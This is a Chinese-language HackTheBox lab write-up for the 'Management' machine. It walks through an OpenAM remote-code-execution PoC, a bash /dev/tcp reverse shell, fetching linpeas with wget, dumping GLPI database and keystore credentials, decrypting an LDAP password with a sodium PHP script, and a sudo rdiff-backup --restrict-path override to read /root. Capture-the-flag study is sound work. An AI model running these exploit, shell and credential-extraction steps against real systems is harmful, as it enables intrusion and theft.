(HTB)0x5-Management

GHSC2026-09-232026-09-23

最近鼠鼠迷上了P5R , 久違做一下HTB:

用nmap掃一下:

(base) PS C:\Users\1984l\OneDrive\桌面> nmap 10.129.244.176
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-17 20:12 +0800
Nmap scan report for 10.129.244.176
Host is up (0.58s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
4444/tcp  open  krb524
50389/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 10.23 seconds

有https ,鼠鼠打這麼久ctf都沒去學https的相關內容 , 還有一個4444 krb524 , 不知道是什麼 : krb524 跨平台身份验证的协议

用dirsearch掃掃 , 沒什麼東西出來:

Target: https://management.htb/

[20:21:45] Scanning:
[20:23:54] 403 -   564B - /assets/
[20:23:54] 301 -   178B - /assets  ->  https://management.htb/assets/
[20:24:45] 404 -   564B - /favicon.ico

Task Completed

當我點這個時子域名加上了sso

可以用fuff來爆爆子域名:

1	ffuf -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u https://management.htb/ -H "Host: FUZZ.management.htb" -fw 4 -fc 301

沒什麼掃出來

看了看源碼好像是16.0.5版本:

找到了RCE的CVE : CVE-2026-33439

poc

1
2
3

python3 exploit.py \
--url https://sso.management.htb/openam/ui/PWResetUserValidation \
'id'

沒什麼問題:

(base) PS E:\HackTheBox\0x5-Management\CVE-2026-33439-Python-PoC> python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation 'id'
[+] HTTP 200
uid=996(openam) gid=987(openam) groups=987(openam)
(base) PS E:\HackTheBox\0x5-Management\CVE-2026-33439-Python-PoC> python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation 'ls -la'
[+] HTTP 200
total 85
drwxr-xr-x  23 root root  4096 Sep  7 11:41 .
drwxr-xr-x  23 root root  4096 Sep  7 11:41 ..
lrwxrwxrwx   1 root root     7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root root  4096 Feb 26  2024 bin.usr-is-merged
drwxr-xr-x   4 root root  1024 Sep  7 11:42 boot
dr-xr-xr-x   2 root root  4096 Feb 16  2025 cdrom
drwxr-xr-x  18 root root  3960 Sep 17 12:10 dev
drwxr-xr-x 115 root root  4096 Sep  8 10:37 etc
drwxr-xr-x   3 root root  4096 Sep  7 11:41 home
lrwxrwxrwx   1 root root     7 Apr 22  2024 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root  4096 Sep  7 11:41 lib.usr-is-merged
drwx------   2 root root 16384 Mar 31  2025 lost+found
drwxr-xr-x   2 root root  4096 Feb 16  2025 media
drwxr-xr-x   2 root root  4096 Sep  7 11:41 mnt
drwxr-xr-x   9 root root  4096 Sep  7 11:41 opt
dr-xr-xr-x 279 root root     0 Sep 17 12:09 proc
drwx------   6 root root  4096 Sep 17 12:11 root
drwxr-xr-x  29 root root   880 Sep 17 12:26 run
lrwxrwxrwx   1 root root     8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root  4096 Sep  7 11:41 sbin.usr-is-merged
drwxr-xr-x   2 root root  4096 Sep  7 11:41 snap
drwxr-xr-x   2 root root  4096 Feb 16  2025 srv
dr-xr-xr-x  13 root root     0 Sep 17 12:09 sys
drwxrwxrwt  16 root root  4096 Sep 17 13:09 tmp
drwxr-xr-x  12 root root  4096 Feb 16  2025 usr
drwxr-xr-x  14 root root  4096 Sep  7 11:41 var

用bash反彈shell :

python3 exploit.py \
--url https://sso.management.htb/openam/ui/PWResetUserValidation \
"bash -c 'bash -i >& /dev/tcp/10.10.17.141/4455 0>&1'"

 python3 exploit.py  --url https://sso.management.htb/openam/ui/PWResetUserValidation   "bash -c 'bash -i >& /dev/tcp/10.10.17.141/4455 0>&1'"

可以通了 , 之後就是找User Flag :

User Flag

netstat -tulnp 看看本地服務:

openam@management:/$ netstat -tulnp
netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::4444                 :::*                    LISTEN      1684/java
tcp6       0      0 :::1689                 :::*                    LISTEN      1684/java
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      1684/java
tcp6       0      0 :::50389                :::*                    LISTEN      1684/java
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1684/java
tcp6       0      0 :::36271                :::*                    LISTEN      1684/java
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -
openam@management:/$

端口地址进程含义
22 0.0.0.0 / ::: sshd SSH 服务
80 0.0.0.0 未知（非本用户） HTTP，可能是宿主机/其他容器映射
443 0.0.0.0 未知 HTTPS，即你访问的 sso.management.htb
3306 127.0.0.1 未知 MySQL，仅本地可访问
4444 ::: 1684/java 高优先级：Tomcat AJP 或自定义端口
1689 ::: 1684/java OpenAM 的 JATO/内部端口
8005 127.0.0.1 1684/java Tomcat shutdown 端口
50389 ::: 1684/java OpenAM 内部 LDAP/其他服务
8080 127.0.0.1 1684/java Tomcat HTTP，仅本地
36271 ::: 1684/java 随机端口，可能是 JMX/RMI

可以看看mysql上的 ,

openam@management:/$ find / -name "boot.json" 2>/dev/null
find / -name "boot.json" 2>/dev/null
/opt/openam/config/boot.json

openam@management:~/config$ ls -la
ls -la
total 36
drwxr-xr-x  7 openam openam 4096 Sep  7 11:41 .
drwxr-x---  3 openam openam 4096 Sep  7 11:41 ..
-rw-r-----  1 openam openam  614 Sep 17 12:13 boot.json
drwxr-x---  3 openam openam 4096 Sep  7 11:41 config
-rw-r-----  1 openam openam    0 Jun  2 01:27 install.log
drwxr-x---  8 openam openam 4096 Sep  7 11:41 ldif
drwxr-x---  8 openam openam 4096 Sep  7 11:41 openam
drwxr-x--- 18 openam openam 4096 Sep  7 11:41 opends
drwxr-x---  3 openam openam 4096 Sep  7 11:41 template
-rw-r-----  1 openam openam   55 Jun  2 01:24 .version

openam@management:~/config$ cat boot.json
cat boot.json
{
  "instance" : "https://sso.management.htb:443/openam",
  "dsameUser" : "cn=dsameuser,ou=DSAME Users,dc=management,dc=htb",
  "keystores" : {
    "default" : {
      "keyStorePasswordFile" : "/opt/openam/config/openam/.storepass",
      "keyPasswordFile" : "/opt/openam/config/openam/.keypass",
      "keyStoreType" : "JCEKS",
      "keyStoreFile" : "/opt/openam/config/openam/keystore.jceks"
    }
  },
  "configStoreList" : [ {
    "baseDN" : "dc=management,dc=htb",
    "dirManagerDN" : "cn=Directory Manager",
    "ldapHost" : "sso.management.htb",
    "ldapPort" : 50389,
    "ldapProtocol" : "ldap"
  } ]
}

去openam 看看 :

openam@management:~/config/openam$ ls -la
ls -la
total 56
drwxr-x--- 8 openam openam 4096 Sep  7 11:41 .
drwxr-xr-x 7 openam openam 4096 Sep  7 11:41 ..
drwxr-x--- 3 openam openam 4096 Sep  7 11:41 auth
drwxr-x--- 2 openam openam 4096 Sep  7 11:41 debug
-r-------- 1 openam openam    8 Jun  2 01:24 .keypass
-rw-r----- 1 openam openam 8049 Jun  2 01:25 keystore.jceks
-rw-r----- 1 openam openam 3568 Jun  2 01:24 keystore.jks
drwxr-x--- 2 openam openam 4096 Sep  7 11:41 lib
drwxr-x--- 2 openam openam 4096 Sep  7 11:41 log
-rw-r----- 1 openam openam   42 Jun  2 01:24 openam_mon_auth
drwxr-x--- 2 openam openam 4096 Sep  7 11:41 sms
drwxr-x--- 2 openam openam 4096 Sep  7 11:41 stats
-r-------- 1 openam openam   32 Jun  2 01:24 .storepass
openam@management:~/config/openam$ cat .keypass
cat .keypass
changeit
changeitopenam@management:~/config/openam$ cat .storepass
cat .storepass
S9n50IUgcRe1Lkj/7gp5OpdZHf1bphqh

確在沒招了 , 問了問ai , 它說50389是一個LDAP , 鼠鼠第一次聽這個東西 , 它說是:

LDAP 最常用于：

企业员工目录（姓名、邮箱、电话、部门）

统一认证（登录时查 LDAP 验证用户名密码）

OpenAM / Keycloak / Active Directory 这类身份管理系统的后端存储

你这次遇到的 OpenAM，它的配置、用户、管理员账号全都在 OpenDJ（一个 Java 写的 LDAP 服务器）里，监听 50389。

大概像是SQL的東西 ,

先看看有沒有ldapsearch , 沒有用apt 下一個 ldap-utils:
看來是沒有了((:

沒方向時鼠鼠看見了一個大神的wp : Management - HackTheBox

Protected Page 沒找到 , 但上面有一些思路可以參考一下 , 有提到可以使用LinPEAS來提權

下好linpeas好後開一下http, 在靶機上wget 一下 :

1	wget http://10.10.17.141:8888/linpeas.sh

下好了:

openam@management:~$ ls
ls
config
linpeas.sh
openam@management:~$
openam@management:~$ chmod +x linpeas.sh
chmod +x linpeas.sh
openam@management:~$
openam@management:~$ ./linpeas.sh -q

重點:

╔══════════╣ Kernel Exploit Registry (T1068)
═╣ Operating system ............. Linux
═╣ Kernel release ............... 6.8.0-139-generic
═╣ Comparable version ........... 6.8.0.139
═╣ Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..26)
═╣ Kernel config source ......... /boot/config-6.8.0-139-generic
CVE: CVE-2025-38236 | Name: AF_UNIX MSG_OOB UAF | Match data: pkg=linux-kernel,ver>=6.7,ver<6.12.36 | Tags: 1 | Rank: Fixed in stable 6.12.36
CVE: CVE-2026-43503 | Name: DirtyClone | Match data: pkg=linux-kernel,ver>=6.7,ver<6.12.91 | Tags: 1 | Rank: Fixed in stable 6.12.91; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules
CVE: CVE-2026-46331 | Name: pedit COW | Match data: pkg=linux-kernel,ver>=5.18,ver<6.12.94 | Tags: 1 | Rank: Fixed in stable 6.12.94; exploit path uses the traffic-control act_pedit subsystem
CVE: CVE-2026-43499 | Name: GhostLock rtmutex UAF | Match data: pkg=linux-kernel,ver>=6.7,ver<6.12.86,CONFIG_FUTEX_PI=y | Tags: 1 | Rank: Fixed in stable 6.12.86; priority-inheritance futexes must be enabled
═╣ Kernel vulns found: 4

╔══════════╣ Checking for Dirty Frag (CVE-2026-43284 / CVE-2026-43500) (T1068)
╚ https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available
╚ https://www.cve.org/CVERecord?id=CVE-2026-43284
╚ https://www.cve.org/CVERecord?id=CVE-2026-43500
CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6
CVE-2026-43500 (rxrpc): autoloadable: rxrpc
modprobe mitigation (xfrm-ESP): present
modprobe mitigation (rxrpc): present
Unprivileged user namespaces: disabled (breaks the public PoC)
╔══════════╣ Searching passwords in config PHP files (T1552.001)
/opt/glpi/config/config_db.php:   public $dbpassword = '8rhu0L6Pw4Y7';
/opt/glpi/config/config_db.php:   public $dbuser = 'glpi';
/opt/glpi/install/migrations/update_10.0.x_to_11.0.0/configs.php:    'password_init_token_delay'     => '86400',

有sqldb , 試一試連不連到:

mysql -h localhost -u glpi -p'8rhu0L6Pw4Y7' -e "SHOW DATABASES;"
Database:
glpidb
information_schema
mysql -h localhost -u glpi -p'8rhu0L6Pw4Y7' glpidb
SHOW TABLES;

可以留意到有沒有查(LDAP 验证用户名密码) , 問一問ai可以知道是glpi_authldaps:

SELECT * FROM glpi_authldaps;
mysql -h localhost -u glpi -p'8rhu0L6Pw4Y7' glpidb -e 'SELECT * FROM glpi_authldaps;'
id: 1
name: Management Directory
host: sso.management.htb
basedn: dc=management,dc=htb
rootdn: cn=svc-glpi,ou=services,dc=management,dc=htb
port: 389
login_field: uid
is_active: 1
rootdn_passwd: avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==

這是 GLPI 用對稱加密（GLPIKEY）保護的值，必須用 GLPI 自己的解密函式還原:

1	avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==

回到shell上找一找config:

openam@management:~$ ls -la /opt/glpi/config/
ls -la /opt/glpi/config/
total 24
drwxr-xr-x  2 www-data www-data 4096 Sep  7 11:41 .
drwxr-xr-x 22 www-data www-data 4096 Sep  7 11:41 ..
-rw-r--r--  1 www-data www-data  273 Jun  2 01:25 config_db.php
-rw-r--r--  1 www-data www-data   32 Jun  2 01:25 glpicrypt.key
-rw-rw----  1 www-data www-data 1704 Jun  2 01:25 oauth.pem
-rw-rw----  1 www-data www-data  451 Jun  2 01:25 oauth.pub
openam@management:~$ cat /opt/glpi/config/config_db.php
cat /opt/glpi/config/config_db.php
<?php
class DB extends DBmysql {
   public $dbhost = '127.0.0.1';
   public $dbuser = 'glpi';
   public $dbpassword = '8rhu0L6Pw4Y7';
   public $dbdefault = 'glpidb';
   public $use_utf8mb4 = true;
   public $allow_datetime = false;
   public $allow_signed_keys = false;
}
openam@management:~$

LPI 11 用的是 sodium_crypto_aead_xchacha20poly1305_ietf，不是一般 secretbox。而且有一個很特殊的點：nonce 同時被當作 additional data（AD）。….

看不懂….不打crypto

問ai直接解：

寫一個 PHP 解密腳本:

cat > /tmp/dec.php <<'EOF'
<?php
$key = file_get_contents('/opt/glpi/config/glpicrypt.key');   // 32 bytes raw
$b64 = 'avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==';

$raw    = base64_decode($b64);
$nonce  = substr($raw, 0, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES); // 24
$ct     = substr($raw, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);

echo "key len = " . strlen($key) . "\n";
echo "nonce len = " . strlen($nonce) . "\n";
echo "ct len = " . strlen($ct) . "\n";

try {
    $plain = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($ct, $nonce, $nonce, $key);
    echo "PLAIN: $plain\n";
} catch (SodiumException $e) {
    echo "FAILED: " . $e->getMessage() . "\n";
}
EOF

php /tmp/dec.php

出來了:

openam@management:~$ php /tmp/dec.php
php /tmp/dec.php
key len = 32
nonce len = 24
ct len = 28
PLAIN: WpczC40GhTbk

ssh登上去:

1 2	ssh owen@ WpczC40GhTbk

ssh登不上去用用su:

su - owen
Password: WpczC40GhTbk

ls
user.txt
script '/dev/null' -c '/bin/bash'

Root Flag

一樣linPEAS一下:

wget http://10.10.17.141:8888/linpeas.sh
./linpeas.sh -q 
sudo -l
Matching Defaults entries for owen on management:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User owen may run the following commands on management:
    (root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path /opt/backup
        --restrict-mode read-only *

owen@management:~$ rdiff-backup --version
rdiff-backup 2.2.6

允许 owen 用户以 root 权限、无需密码，运行 rdiff-backup 的服务器模式

rdiff-backup 处理重复的 –restrict-path 时，以最后一个为准。
所以只要在命令末尾再追加一个 –restrict-path /，就能把服务器的可读范围从 /opt/backup 扩大到整个根目录 /

客户端通过 –remote-schema 自动以 root 启动服务器: (不用運行)

1	sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path / --tempdir /tmp/%s

让客户端把 /root 备份到 /tmp/root_backup:

rdiff-backup --remote-schema 'sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path / --tempdir /tmp/%s' \
  backup --no-compression fake::/root /tmp/root_backup
  
ls -la /tmp/root_backup/
cat /tmp/root_backup/root.txt

提权